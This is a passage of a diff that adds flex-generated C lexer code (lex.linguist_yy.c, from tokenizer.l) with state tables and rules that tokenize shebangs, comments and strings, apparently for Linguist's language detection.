+        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,
+        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,
+        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,
+        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,
+        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,
+
+        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,
+        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,
+        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,
+        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,
+        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,
+        1,    1,    1,    1,    1
+    } ;
+
+static const YY_CHAR yy_meta[50] =
+    {   0,
+        1,    2,    3,    2,    4,    1,    5,    1,    4,    1,
+        1,    1,    1,    1,    1,    1,    1,    1,    6,    7,
+        7,    1,    1,    4,    1,    4,    4,    4,    7,    7,
+        7,    7,    7,    7,    1,    1,    1,    1,    1,    7,
+        7,    7,    7,    7,    7,    1,    1,    1,    1
+    } ;
+
+static const flex_int16_t yy_base[278] =
+    {   0,
+        0,   48,  604,  603,  599,  598,  597,  596,  598,  597,
+      604,  603,  597,  596,  588,  587,  587,  586,  602,  619,
+       48,  595,  593,   56,   51,   59,  588,   68,  585,   37,
+       63,  581,   73,   86,   91,  100,  551,   97,  572,  141,
+       87,  128,   97,   51,  587,   52,  557,  555,   58,  552,
+      109,  139,  510,  110,  185,  167,  171,  530,  181,  177,
+      184,  178,  198,  193,  619,  502,  499,  467,  501,  502,
+      490,  476,  460,   67,  453,  619,  619,  471,  469,  468,
+      460,  455,  429,  418,  454,  437,  451,  434,  619,  448,
+      149,  445,  619,  439,  434,  442,  440,  438,  436,   77,
+
+      425,  184,  110,  432,  158,  432,  202,  211,  403,  188,
+      223,  186,  218,  619,  425,  423,  428,  619,  426,  418,
+      231,  242,  209,  245,   83,  619,  407,  405,  414,  225,
+      394,  388,  386,  384,  381,  619,  401,  217,  370,  370,
+      368,  366,    0,  196,  233,  269,  397,  394,  271,  619,
+        0,  619,    0,  277,  273,  408,  619,    0,  279,  282,
+      405,  286,  283,  404,  211,  290,  619,    0,  288,  619,
+      383,  619,  619,  402,  396,  403,  619,  619,  368,  619,
+      386,  619,  619,  619,  619,  383,  619,  284,  269,  368,
+      300,  220,  316,  382,  377,  375,  301,  303,    0,    0,
+
+      322,  311,  370,  323,  341,  370,    0,  362,  619,    0,
+      352,  325,  341,  619,  319,  348,    0,  619,  619,  619,
+      619,  326,  619,  297,  333,  322,  357,    0,  323,    0,
+      619,  270,  198,  137,  199,  180,  619,  136,  619,    0,
+      125,  619,  619,  619,   72,  619,  619,  353,    0,  333,
+      367,   58,  291,  396,  377,  378,  381,  440,  390,  619,
+      485,  488,  492,  498,  505,  511,  518,  525,  532,  534,
+      541,  548,  555,  562,  569,  576,  583
+    } ;
+
+static const flex_int16_t yy_def[278] =
+    {   0,
+      260,    1,  261,  261,  261,  261,  261,  261,  261,  261,
+      261,  261,  261,  261,  261,  261,  261,  261,  260,  260,
+      260,  260,  262,  262,  260,  260,  260,  260,  260,  260,
+      260,  260,  260,  262,  260,  260,   36,  260,  260,  260,
+      260,  260,  260,  262,  262,  260,  260,  260,  260,  260,
+      260,  260,  260,  260,  260,  260,  262,   24,  260,  260,
+      260,   34,  260,  260,  260,  260,  260,  260,  260,  260,
+      260,  260,  260,  260,  260,  260,  260,  260,  260,  262,
+      260,  260,  260,  260,  260,  260,  260,  260,  260,  260,
+      260,  260,  260,  260,  260,  260,  260,  260,  260,  260,
+
+      260,  260,  260,  260,  260,  260,  260,  260,   36,  262,
+      262,  262,  262,  260,  260,  260,  260,  260,  260,  260,
+      263,  260,  260,  260,  260,  260,  260,  260,  260,  260,
+      260,  260,  260,  260,  260,  260,  260,  260,  260,  260,
+      260,  260,   55,  260,  260,  260,  260,  260,  260,  260,
+      264,  260,  265,  266,  260,  260,  260,  267,  260,  260,
+      260,  260,  260,  260,  262,  268,  260,  269,  260,  260,
+      260,  260,  260,  260,  260,  260,  260,  260,  260,  260,
+      260,  260,  260,  260,  260,  260,  260,  260,  260,  260,
+      260,  262,  260,  260,  260,  260,  260,  268,  264,  265,
+
+      266,  201,  270,  201,  204,  271,  267,  272,  260,  273,
+      274,  262,  268,  260,  268,  268,  269,  260,  260,  260,
+      260,  260,  260,  260,  260,  262,  260,  193,  193,  193,
+      260,  260,  260,  270,  204,  271,  260,  272,  260,  273,
+      274,  260,  260,  260,  275,  260,  260,  227,  227,  270,
+      204,  275,  270,  276,  270,  276,  277,  276,  277,    0,
+      260,  260,  260,  260,  260,  260,  260,  260,  260,  260,
+      260,  260,  260,  260,  260,  260,  260
+    } ;
+
+static const flex_int16_t yy_nxt[669] =
+    {   0,
+       20,   20,   20,   20,   21,   22,   23,   24,   25,   26,
+       27,   28,   29,   30,   31,   32,   33,   34,   35,   36,
+       37,   38,   39,   40,   41,   42,   43,   44,   45,   45,
+       45,   45,   45,   45,   46,   47,   48,   49,   50,   45,
+       45,   45,   45,   45,   45,   51,   52,   53,   54,   55,
+       97,   55,   74,   56,   57,   58,   59,  260,   60,   85,
+      214,   86,  260,   81,   61,   62,   63,   82,   87,  129,
+       64,   74,   75,   76,  214,   86,   76,   98,  128,   91,
+       92,   93,   86,   86,   88,   94,  130,   86,  131,  100,
+       83,   75,  260,  100,   95,  134,   77,   86,  101,  102,
+
+      103,   84,  101,  104,  105,   89,  125,  106,  125,  107,
+      125,  123,  125,  114,  107,   86,  107,  108,  115,  109,
+      109,   86,   76,  127,  103,  136,  137,  260,   80,  110,
+      111,   80,  111,  112,   86,   77,  184,  126,  260,  110,
+       80,   80,   80,   80,  113,  117,  107,  118,   89,  118,
+      119,  124,  123,  124,  138,  234,  139,  120,  142,  121,
+       91,   92,  185,   86,  122,  123,  124,  118,  118,  150,
+      151,  186,   78,  152,  153,  154,  250,  155,  160,  163,
+      160,  163,  260,  157,  158,  140,  143,   90,  143,  159,
+      144,  145,  260,  146,  260,  167,  168,  102,  150,  151,
+
+      162,  147,  191,  148,  191,   86,   76,  149,   86,  101,
+      183,  105,  161,  164,  106,  169,  166,  260,  192,  165,
+      107,  107,   86,  107,  260,  107,  260,  107,  108,  260,
+      108,  108,  125,  123,  125,  152,  153,  193,  193,  145,
+      188,  189,  251,  189,  190,  246,  193,  193,  193,  107,
+      188,  212,  226,  111,  107,  111,  107,  193,  120,  130,
+      107,  131,  138,  107,  139,  122,  123,  124,  124,  123,
+      124,  157,  158,  167,  168,  152,  153,  146,  201,  155,
+      201,  157,  158,  160,  163,  160,  163,  159,  209,  210,
+      167,  168,  214,  149,  215,  202,  203,  203,  191,  189,
+
+      191,  189,  100,  209,  210,  214,  246,  215,  216,  234,
+      169,  101,  260,  216,  260,  216,  205,  161,  164,  225,
+      225,  244,  245,  201,  260,  201,  260,  243,  260,  247,
+      189,  260,  189,  227,  255,  228,  228,  191,  246,  191,
+      202,  203,  203,  214,  228,  229,  230,   80,  111,  112,
+      214,  234,  225,  225,  242,  229,   80,   80,   80,   80,
+       80,  205,  204,  189,  239,  189,  216,  191,  254,  191,
+      254,  216,  237,  216,  227,  253,  227,  227,  254,  260,
+      254,  260,  254,  235,  254,  227,  248,  249,  234,  189,
+      190,  254,  233,  254,  232,  234,  248,  254,  231,  254,
+
+      224,  223,  257,  222,  179,  221,  220,  219,  218,  211,
+      208,  206,  198,  197,  142,  141,  140,  139,  196,  135,
+      257,  134,  133,  132,  258,  258,  258,  258,  258,  258,
+      131,  195,  128,  127,  120,  258,  258,  258,  258,  258,
+      258,  260,  126,  260,  194,  116,  115,   80,  187,  104,
+      101,   99,   98,   97,   96,  182,  181,   92,  180,  126,
+       87,   86,   85,   84,  257,  179,   82,   81,  258,  258,
+      258,  258,  258,  258,  260,   79,  178,   75,  177,  258,
+      258,  258,  258,  258,  258,   65,   65,   65,   65,   65,
+       65,   65,   80,  176,   80,  118,  118,  118,  199,  199,
+
+      175,  199,  199,  199,  199,  200,  200,  174,  200,  200,
+      200,  200,  204,  173,  172,  171,  204,  204,  207,  207,
+      170,  207,  207,  207,  207,  213,  213,  213,  213,  213,
+      213,  213,  217,  217,  156,  217,  217,  217,  217,  203,
+      203,  236,  236,  236,  236,  236,  236,  236,  238,  238,
+      238,  238,  238,  238,  238,  240,  240,  141,  240,  240,
+      240,  240,  241,  241,  241,  241,  241,  241,  241,  252,
+      252,  252,  252,  252,  252,  252,  256,  256,  256,  256,
+      256,  256,  256,  259,  259,  259,  259,  259,  259,  259,
+      135,  133,  132,  260,  116,   80,   99,   96,   90,   79,
+
+       78,  260,   73,   73,   72,   72,   71,   71,   70,   70,
+       69,   69,   68,   68,   67,   67,   66,   66,   19,  260,
+      260,  260,  260,  260,  260,  260,  260,  260,  260,  260,
+      260,  260,  260,  260,  260,  260,  260,  260,  260,  260,
+      260,  260,  260,  260,  260,  260,  260,  260,  260,  260,
+      260,  260,  260,  260,  260,  260,  260,  260,  260,  260,
+      260,  260,  260,  260,  260,  260,  260,  260
+    } ;
+
+static const flex_int16_t yy_chk[669] =
+    {   0,
+        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,
+        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,
+        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,
+        1,    1,    1,    1,    1,    1,    1,    1,    1,    1,
+        1,    1,    1,    1,    1,    1,    1,    1,    1,    2,
+       30,    2,   21,    2,    2,    2,    2,   44,    2,   25,
+      252,   30,   24,   24,    2,    2,    2,   24,   26,   46,
+        2,   74,   21,   21,  245,   25,   25,   31,   44,   28,
+       28,   28,   49,   26,   26,   28,   46,   31,   46,   33,
+       24,   74,   34,  100,   28,   49,   21,   33,   33,   34,
+
+       34,   24,  100,   34,   35,   26,  125,   35,  125,   35,
+       41,   41,   41,   38,   35,   35,   35,   36,   38,   36,
+       36,   38,   43,   43,  103,   51,   51,  241,   36,   36,
+       36,   36,   36,   36,   54,   41,  103,   42,  238,   36,
+       36,   36,   36,   36,   36,   40,   42,   40,   52,   40,
+       40,   42,   42,   42,   51,  234,   51,   40,   54,   40,
+       91,   91,  105,   52,   40,   40,   40,   40,   40,   56,
+       56,  105,   56,   57,   57,   57,  234,   57,   60,   62,
+       60,   62,  236,   59,   59,   52,   55,   60,   55,   59,
+       55,   55,  112,   55,  110,   64,   64,  102,  144,  144,
+
+       61,   55,  110,   55,  110,   59,   59,   55,   61,   61,
+      102,   63,   60,   62,   63,   64,   63,  165,  112,   62,
+      107,   63,   63,   63,  113,  107,  192,  107,  108,  111,
+      108,  108,  123,  123,  123,  145,  145,  113,  113,  145,
+      108,  108,  235,  108,  108,  233,  113,  113,  113,  121,
+      108,  165,  192,  111,  121,  111,  121,  113,  122,  130,
+      122,  130,  138,  124,  138,  122,  122,  122,  124,  124,
+      124,  146,  146,  149,  149,  155,  155,  146,  154,  155,
+      154,  159,  159,  160,  163,  160,  163,  159,  162,  162,
+      169,  169,  166,  149,  166,  154,  154,  154,  188,  189,
+
+      188,  189,  162,  197,  197,  198,  232,  198,  166,  253,
+      169,  162,  202,  166,  202,  166,  154,  160,  163,  191,
+      191,  215,  215,  201,  204,  201,  204,  212,  226,  224,
+      191,  212,  191,  193,  253,  193,  193,  229,  222,  229,
+      201,  201,  201,  213,  193,  193,  193,  193,  193,  193,
+      216,  250,  225,  225,  211,  193,  193,  193,  193,  193,
+      193,  201,  204,  225,  208,  225,  216,  248,  251,  248,
+      251,  216,  206,  216,  227,  250,  227,  227,  255,  256,
+      255,  256,  257,  205,  257,  227,  227,  227,  203,  227,
+      227,  259,  196,  259,  195,  255,  227,  254,  194,  254,
+
+      190,  186,  256,  181,  179,  176,  175,  174,  171,  164,
+      161,  156,  148,  147,  142,  141,  140,  139,  137,  135,
+      254,  134,  133,  132,  254,  254,  254,  254,  254,  254,
+      131,  129,  128,  127,  120,  254,  254,  254,  254,  254,
+      254,  258,  119,  258,  117,  116,  115,  109,  106,  104,
+      101,   99,   98,   97,   96,   95,   94,   92,   90,   88,
+       87,   86,   85,   84,  258,   83,   82,   81,  258,  258,
+      258,  258,  258,  258,   80,   79,   78,   75,   73,  258,
+      258,  258,  258,  258,  258,  261,  261,  261,  261,  261,
+      261,  261,  262,   72,  262,  263,  263,  263,  264,  264,
+
+       71,  264,  264,  264,  264,  265,  265,   70,  265,  265,
+      265,  265,  266,   69,   68,   67,  266,  266,  267,  267,
+       66,  267,  267,  267,  267,  268,  268,  268,  268,  268,
+      268,  268,  269,  269,   58,  269,  269,  269,  269,  270,
+      270,  271,  271,  271,  271,  271,  271,  271,  272,  272,
+      272,  272,  272,  272,  272,  273,  273,   53,  273,  273,
+      273,  273,  274,  274,  274,  274,  274,  274,  274,  275,
+      275,  275,  275,  275,  275,  275,  276,  276,  276,  276,
+      276,  276,  276,  277,  277,  277,  277,  277,  277,  277,
+       50,   48,   47,   45,   39,   37,   32,   29,   27,   23,
+
+       22,   19,   18,   17,   16,   15,   14,   13,   12,   11,
+       10,    9,    8,    7,    6,    5,    4,    3,  260,  260,
+      260,  260,  260,  260,  260,  260,  260,  260,  260,  260,
+      260,  260,  260,  260,  260,  260,  260,  260,  260,  260,
+      260,  260,  260,  260,  260,  260,  260,  260,  260,  260,
+      260,  260,  260,  260,  260,  260,  260,  260,  260,  260,
+      260,  260,  260,  260,  260,  260,  260,  260
+    } ;
+
+/* The intent behind this definition is that it'll catch
+ * any uses of REJECT which flex missed.
+ */
+#define REJECT reject_used_but_not_detected
+#define yymore() yymore_used_but_not_detected
+#define YY_MORE_ADJ 0
+#define YY_RESTORE_YY_MORE_OFFSET
+#line 1 "tokenizer.l"
+#line 2 "tokenizer.l"
+
+#include "ruby.h"
+
+// Anything longer is unlikely to be useful.
+#define MAX_TOKEN_LEN 16
+
+#define FEED2(s, l) do { \
+    const char* __s = (s); \
+    const size_t __l = (l); \
+    const size_t __cl = __l > MAX_TOKEN_LEN? MAX_TOKEN_LEN : __l; \
+    *yyextra = rb_str_new(__s, __cl); \
+  } while(0)
+
+#define FEED1(s) FEED2(s, strlen(s))
+
+#define FEED() FEED2(yytext, yyleng)
+
+#define FEED_STATIC(s) FEED2(s, sizeof(s) - 1)
+
+#define FEED_SHEBANG(s) do { \
+    const size_t __l = strlen(s); \
+    const size_t __cl = __l > MAX_TOKEN_LEN? MAX_TOKEN_LEN : __l; \
+    *yyextra = rb_str_new("SHEBANG#!", sizeof("SHEBANG#!") - 1); \
+    rb_str_cat(*yyextra, s, __cl); \
+  } while(0)
+
+#define eat_until_eol() do { \
+    int c; \
+    while ((c = input(yyscanner)) != '\n' && c != EOF && c); \
+    if (c == EOF || !c) \
+      return 0; \
+  } while (0)
+
+#define eat_until_unescaped(q) do { \
+    int c; \
+    while ((c = input(yyscanner)) != EOF && c) { \
+      if (c == '\n') \
+        break; \
+      if (c == '\\') { \
+        c = input(yyscanner); \
+        if (c == EOF || !c) \
+          return 0; \
+      } else if (c == q) \
+        break; \
+    } \
+    if (c == EOF || !c) \
+      return 0; \
+  } while (0)
+
+#line 911 "lex.linguist_yy.c"
+
+#line 913 "lex.linguist_yy.c"
+
+#define INITIAL 0
+#define c_comment 1
+#define xml_comment 2
+#define haskell_comment 3
+#define ocaml_comment 4
+#define python_dcomment 5
+#define python_scomment 6
+#define roff_comment 7
+#define lean_comment 8
+
+#ifndef YY_NO_UNISTD_H
+/* Special case for "unistd.h", since it is non-ANSI. We include it way
+ * down here because we want the user's section 1 to have been scanned first.
+ * The user has a chance to override it with an option.
+ */
+#include <unistd.h>
+#endif
+
+#define YY_EXTRA_TYPE VALUE*
+
+/* Holds the entire state of the reentrant scanner. */
+struct yyguts_t
+    {
+
+    /* User-defined. Not touched by flex. */
+    YY_EXTRA_TYPE yyextra_r;
+
+    /* The rest are the same as the globals declared in the non-reentrant scanner. */
+    FILE *yyin_r, *yyout_r;
+    size_t yy_buffer_stack_top; /**< index of top of stack. */
+    size_t yy_buffer_stack_max; /**< capacity of stack. */
+    YY_BUFFER_STATE * yy_buffer_stack; /**< Stack as an array. */
+    char yy_hold_char;
+    int yy_n_chars;
+    int yyleng_r;
+    char *yy_c_buf_p;
+    int yy_init;
+    int yy_start;
+    int yy_did_buffer_switch_on_eof;
+    int yy_start_stack_ptr;
+    int yy_start_stack_depth;
+    int *yy_start_stack;
+    yy_state_type yy_last_accepting_state;
+    char* yy_last_accepting_cpos;
+
+    int yylineno_r;
+    int yy_flex_debug_r;
+
+    char *yytext_r;
+    int yy_more_flag;
+    int yy_more_len;
+
+    }; /* end struct yyguts_t */
+
+static int yy_init_globals ( yyscan_t yyscanner );
+
+int yylex_init (yyscan_t* scanner);
+
+int yylex_init_extra ( YY_EXTRA_TYPE user_defined, yyscan_t* scanner);
+
+/* Accessor methods to globals.
+   These are made visible to non-reentrant scanners for convenience. */
+
+int yylex_destroy ( yyscan_t yyscanner );
+
+int yyget_debug ( yyscan_t yyscanner );
+
+void yyset_debug ( int debug_flag , yyscan_t yyscanner );
+
+YY_EXTRA_TYPE yyget_extra ( yyscan_t yyscanner );
+
+void yyset_extra ( YY_EXTRA_TYPE user_defined , yyscan_t yyscanner );
+
+FILE *yyget_in ( yyscan_t yyscanner );
+
+void yyset_in  ( FILE * _in_str , yyscan_t yyscanner );
+
+FILE *yyget_out ( yyscan_t yyscanner );
+
+void yyset_out  ( FILE * _out_str , yyscan_t yyscanner );
+
+			int yyget_leng ( yyscan_t yyscanner );
+
+char *yyget_text ( yyscan_t yyscanner );
+
+int yyget_lineno ( yyscan_t yyscanner );
+
+void yyset_lineno ( int _line_number , yyscan_t yyscanner );
+
+int yyget_column  ( yyscan_t yyscanner );
+
+void yyset_column ( int _column_no , yyscan_t yyscanner );
+
+/* Macros after this point can all be overridden by user definitions in
+ * section 1.
+ */
+
+#ifndef YY_SKIP_YYWRAP
+#ifdef __cplusplus
+extern "C" int yywrap ( yyscan_t yyscanner );
+#else
+extern int yywrap ( yyscan_t yyscanner );
+#endif
+#endif
+
+#ifndef YY_NO_UNPUT
+    
+#endif
+
+#ifndef yytext_ptr
+static void yy_flex_strncpy ( char *, const char *, int , yyscan_t yyscanner);
+#endif
+
+#ifdef YY_NEED_STRLEN
+static int yy_flex_strlen ( const char * , yyscan_t yyscanner);
+#endif
+
+#ifndef YY_NO_INPUT
+#ifdef __cplusplus
+static int yyinput ( yyscan_t yyscanner );
+#else
+static int input ( yyscan_t yyscanner );
+#endif
+
+#endif
+
+/* Amount of stuff to slurp up with each read. */
+#ifndef YY_READ_BUF_SIZE
+#ifdef __ia64__
+/* On IA-64, the buffer size is 16k, not 8k */
+#define YY_READ_BUF_SIZE 16384
+#else
+#define YY_READ_BUF_SIZE 8192
+#endif /* __ia64__ */
+#endif
+
+/* Copy whatever the last rule matched to the standard output. */
+#ifndef ECHO
+/* This used to be an fputs(), but since the string might contain NUL's,
+ * we now use fwrite().
+ */
+#define ECHO do { if (fwrite( yytext, (size_t) yyleng, 1, yyout )) {} } while (0)
+#endif
+
+/* Gets input and stuffs it into "buf".  number of characters read, or YY_NULL,
+ * is returned in "result".
+ */
+#ifndef YY_INPUT
+#define YY_INPUT(buf,result,max_size) \
+	if ( YY_CURRENT_BUFFER_LVALUE->yy_is_interactive ) \
+		{ \
+		int c = '*'; \
+		int n; \
+		for ( n = 0; n < max_size && \
+			     (c = getc( yyin )) != EOF && c != '\n'; ++n ) \
+			buf[n] = (char) c; \
+		if ( c == '\n' ) \
+			buf[n++] = (char) c; \
+		if ( c == EOF && ferror( yyin ) ) \
+			YY_FATAL_ERROR( "input in flex scanner failed" ); \
+		result = n; \
+		} \
+	else \
+		{ \
+		errno=0; \
+		while ( (result = (int) fread(buf, 1, (yy_size_t) max_size, yyin)) == 0 && ferror(yyin)) \
+			{ \
+			if( errno != EINTR) \
+				{ \
+				YY_FATAL_ERROR( "input in flex scanner failed" ); \
+				break; \
+				} \
+			errno=0; \
+			clearerr(yyin); \
+			} \
+		}\
+\
+
+#endif
+
+/* No semi-colon after return; correct usage is to write "yyterminate();" -
+ * we don't want an extra ';' after the "return" because that will cause
+ * some compilers to complain about unreachable statements.
+ */
+#ifndef yyterminate
+#define yyterminate() return YY_NULL
+#endif
+
+/* Number of entries by which start-condition stack grows. */
+#ifndef YY_START_STACK_INCR
+#define YY_START_STACK_INCR 25
+#endif
+
+/* Report a fatal error. */
+#ifndef YY_FATAL_ERROR
+#define YY_FATAL_ERROR(msg) yy_fatal_error( msg , yyscanner)
+#endif
+
+/* end tables serialization structures and prototypes */
+
+/* Default declaration of generated scanner - a define so the user can
+ * easily add parameters.
+ */
+#ifndef YY_DECL
+#define YY_DECL_IS_OURS 1
+
+extern int yylex (yyscan_t yyscanner);
+
+#define YY_DECL int yylex (yyscan_t yyscanner)
+#endif /* !YY_DECL */
+
+/* Code executed at the beginning of each rule, after yytext and yyleng
+ * have been set up.
+ */
+#ifndef YY_USER_ACTION
+#define YY_USER_ACTION
+#endif
+
+/* Code executed at the end of each rule. */
+#ifndef YY_BREAK
+#define YY_BREAK /*LINTED*/break;
+#endif
+
+#define YY_RULE_SETUP \
+	if ( yyleng > 0 ) \
+		YY_CURRENT_BUFFER_LVALUE->yy_at_bol = \
+				(yytext[yyleng - 1] == '\n'); \
+	YY_USER_ACTION
+
+/** The main scanner function which does all the work.
+ */
+YY_DECL
+{
+	yy_state_type yy_current_state;
+	char *yy_cp, *yy_bp;
+	int yy_act;
+    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;
+
+	if ( !yyg->yy_init )
+		{
+		yyg->yy_init = 1;
+
+#ifdef YY_USER_INIT
+		YY_USER_INIT;
+#endif
+
+		if ( ! yyg->yy_start )
+			yyg->yy_start = 1;	/* first start state */
+
+		if ( ! yyin )
+			yyin = stdin;
+
+		if ( ! yyout )
+			yyout = stdout;
+
+		if ( ! YY_CURRENT_BUFFER ) {
+			yyensure_buffer_stack (yyscanner);
+			YY_CURRENT_BUFFER_LVALUE =
+				yy_create_buffer( yyin, YY_BUF_SIZE , yyscanner);
+		}
+
+		yy_load_buffer_state( yyscanner );
+		}
+
+	{
+#line 56 "tokenizer.l"
+
+
+#line 1183 "lex.linguist_yy.c"
+
+	while ( /*CONSTCOND*/1 )		/* loops until end-of-file is reached */
+		{
+		yy_cp = yyg->yy_c_buf_p;
+
+		/* Support of yytext. */
+		*yy_cp = yyg->yy_hold_char;
+
+		/* yy_bp points to the position in yy_ch_buf of the start of
+		 * the current run.
+		 */
+		yy_bp = yy_cp;
+
+		yy_current_state = yyg->yy_start;
+		yy_current_state += YY_AT_BOL();
+yy_match:
+		do
+			{
+			YY_CHAR yy_c = yy_ec[YY_SC_TO_UI(*yy_cp)] ;
+			if ( yy_accept[yy_current_state] )
+				{
+				yyg->yy_last_accepting_state = yy_current_state;
+				yyg->yy_last_accepting_cpos = yy_cp;
+				}
+			while ( yy_chk[yy_base[yy_current_state] + yy_c] != yy_current_state )
+				{
+				yy_current_state = (int) yy_def[yy_current_state];
+				if ( yy_current_state >= 261 )
+					yy_c = yy_meta[yy_c];
+				}
+			yy_current_state = yy_nxt[yy_base[yy_current_state] + yy_c];
+			++yy_cp;
+			}
+		while ( yy_current_state != 260 );
+		yy_cp = yyg->yy_last_accepting_cpos;
+		yy_current_state = yyg->yy_last_accepting_state;
+
+yy_find_action:
+		yy_act = yy_accept[yy_current_state];
+
+		YY_DO_BEFORE_ACTION;
+
+do_action:	/* This label is used only to access EOF actions. */
+
+		switch ( yy_act )
+	{ /* beginning of action switch */
+			case 0: /* must back up */
+			/* undo the effects of YY_DO_BEFORE_ACTION */
+			*yy_cp = yyg->yy_hold_char;
+			yy_cp = yyg->yy_last_accepting_cpos;
+			yy_current_state = yyg->yy_last_accepting_state;
+			goto yy_find_action;
+
+case 1:
+/* rule 1 can match eol */
+YY_RULE_SETUP
+#line 58 "tokenizer.l"
+{
+  const char *off = strrchr(yytext, ' ');
+  if (!off)
+    off = yytext;
+  else
+    ++off;
+  FEED_SHEBANG(off);
+  eat_until_eol();
+  return 1;
+}
+	YY_BREAK
+case 2:
+YY_RULE_SETUP
+#line 69 "tokenizer.l"
+{
+  const char *off = strrchr(yytext, '/');
+  if (!off)
+    off = yytext;
+  else
+   ++off;
+  if (strcmp(off, "env") == 0) {
+    eat_until_eol();
+  } else {
+    FEED_SHEBANG(off);
+    eat_until_eol();
+    return 1;
+  }
+}
+	YY_BREAK
+case 3:
+/* rule 3 can match eol */
+YY_RULE_SETUP
+#line 84 "tokenizer.l"
+{ FEED_STATIC("COMMENT#"); return 1; }
+	YY_BREAK
+case 4:
+/* rule 4 can match eol */
+YY_RULE_SETUP
+#line 85 "tokenizer.l"
+{ FEED_STATIC("COMMENT//!"); return 1; }
+	YY_BREAK
+case 5:
+/* rule 5 can match eol */
+YY_RULE_SETUP
+#line 86 "tokenizer.l"
+{ FEED_STATIC("COMMENT//"); return 1; }
+	YY_BREAK
+case 6:
+/* rule 6 can match eol */
+YY_RULE_SETUP
+#line 87 "tokenizer.l"
+{ FEED_STATIC("COMMENT--"); return 1; }
+	YY_BREAK
+case 7:
+/* rule 7 can match eol */
+YY_RULE_SETUP
+#line 88 "tokenizer.l"
+{ FEED_STATIC("COMMENT%"); return 1; }
+	YY_BREAK
+case 8:
+/* rule 8 can match eol */
+YY_RULE_SETUP
+#line 89 "tokenizer.l"
+{ FEED_STATIC("COMMENT\""); return 1; }
+	YY_BREAK
+case 9:
+/* rule 9 can match eol */
+YY_RULE_SETUP
+#line 90 "tokenizer.l"
+{ FEED_STATIC("COMMENT;"); return 1; }
+	YY_BREAK
+case 10:
+/* rule 10 can match eol */
+YY_RULE_SETUP
+#line 91 "tokenizer.l"
+{ FEED_STATIC("COMMENT.\\\""); return 1; }
+	YY_BREAK
+case 11:
+/* rule 11 can match eol */
+YY_RULE_SETUP
+#line 92 "tokenizer.l"
+{ FEED_STATIC("COMMENT'\\\""); return 1; }
+	YY_BREAK
+case 12:
+/* rule 12 can match eol */
+YY_RULE_SETUP
+#line 93 "tokenizer.l"
+{ FEED_STATIC("COMMENT$!"); return 1; }
+	YY_BREAK
+case 13:
+YY_RULE_SETUP
+#line 95 "tokenizer.l"
+{ FEED_STATIC("COMMENT/*"); return 1; }
+	YY_BREAK
+case 14:
+YY_RULE_SETUP
+#line 96 "tokenizer.l"
+{ FEED_STATIC("COMMENT/**"); BEGIN(c_comment); return 1; }
+	YY_BREAK
+case 15:
+YY_RULE_SETUP
+#line 97 "tokenizer.l"
+{ FEED_STATIC("COMMENT/*!"); BEGIN(c_comment); return 1; }
+	YY_BREAK
+case 16:
+YY_RULE_SETUP
+#line 98 "tokenizer.l"
+{ FEED_STATIC("COMMENT/*"); BEGIN(c_comment); return 1; }
+	YY_BREAK
+case 17:
+YY_RULE_SETUP
+#line 99 "tokenizer.l"
+{ FEED_STATIC("COMMENT<!--"); BEGIN(xml_comment); return 1; }
+	YY_BREAK
+case 18:
+YY_RULE_SETUP
+#line 100 "tokenizer.l"
+{ FEED_STATIC("COMMENT{-"); BEGIN(haskell_comment); return 1; }
+	YY_BREAK
+case 19:
+YY_RULE_SETUP
+#line 101 "tokenizer.l"
+{ FEED_STATIC("COMMENT(*"); BEGIN(ocaml_comment); return 1; }
+	YY_BREAK
+case 20:
+YY_RULE_SETUP
+#line 102 "tokenizer.l"
+{ FEED_STATIC("COMMENT\"\"\""); BEGIN(python_dcomment); return 1; }
+	YY_BREAK
+case 21:
+YY_RULE_SETUP
+#line 103 "tokenizer.l"
+{ FEED_STATIC("COMMENT'''"); BEGIN(python_scomment); return 1; }
+	YY_BREAK
+case 22:
+/* rule 22 can match eol */
+YY_RULE_SETUP
+#line 104 "tokenizer.l"
+{ FEED_STATIC("COMMENT.ig"); BEGIN(roff_comment); return 1; }
+	YY_BREAK
+case 23:
+YY_RULE_SETUP
+#line 105 "tokenizer.l"
+{ FEED_STATIC("COMMENT/-"); BEGIN(lean_comment); return 1; }
+	YY_BREAK
+case 24:
+YY_RULE_SETUP
+#line 106 "tokenizer.l"
+{ FEED_STATIC("COMMENT/-"); BEGIN(lean_comment); return 1; }
+	YY_BREAK
+case 25:
+/* rule 25 can match eol */
+YY_RULE_SETUP
+#line 108 "tokenizer.l"
+{ /* nothing */ }
+	YY_BREAK
+case 26:
+YY_RULE_SETUP
+#line 109 "tokenizer.l"
+{ BEGIN(INITIAL); }
+	YY_BREAK
+case 27:
+YY_RULE_SETUP
+#line 110 "tokenizer.l"
+{ BEGIN(INITIAL); }
+	YY_BREAK
+case 28:
+YY_RULE_SETUP
+#line 111 "tokenizer.l"
+{ BEGIN(INITIAL); }
+	YY_BREAK
+case 29:
+YY_RULE_SETUP
+#line 112 "tokenizer.l"
+{ BEGIN(INITIAL); }
+	YY_BREAK
+case 30:
+YY_RULE_SETUP
+#line 113 "tokenizer.l"
+{ BEGIN(INITIAL); }
+	YY_BREAK
+case 31:
+YY_RULE_SETUP
+#line 114 "tokenizer.l"
+{ BEGIN(INITIAL); }
+	YY_BREAK
+case 32:
+/* rule 32 can match eol */
+YY_RULE_SETUP
+#line 115 "tokenizer.l"
+{ BEGIN(INITIAL); }
+	YY_BREAK
+case 33:
+YY_RULE_SETUP
+#line 116 "tokenizer.l"
+{ BEGIN(INITIAL); }
+	YY_BREAK
+case 34:
+YY_RULE_SETUP
+#line 118 "tokenizer.l"
+{ /* nothing */ }
+	YY_BREAK
+case 35:
+YY_RULE_SETUP
+#line 119 "tokenizer.l"
+{ eat_until_unescaped('"'); }
+	YY_BREAK
+case 36:
+YY_RULE_SETUP
+#line 120 "tokenizer.l"
+{ eat_until_unescaped('\''); }
+	YY_BREAK
+case 37:
+YY_RULE_SETUP
+#line 121 "tokenizer.l"
+{ /* nothing */ }
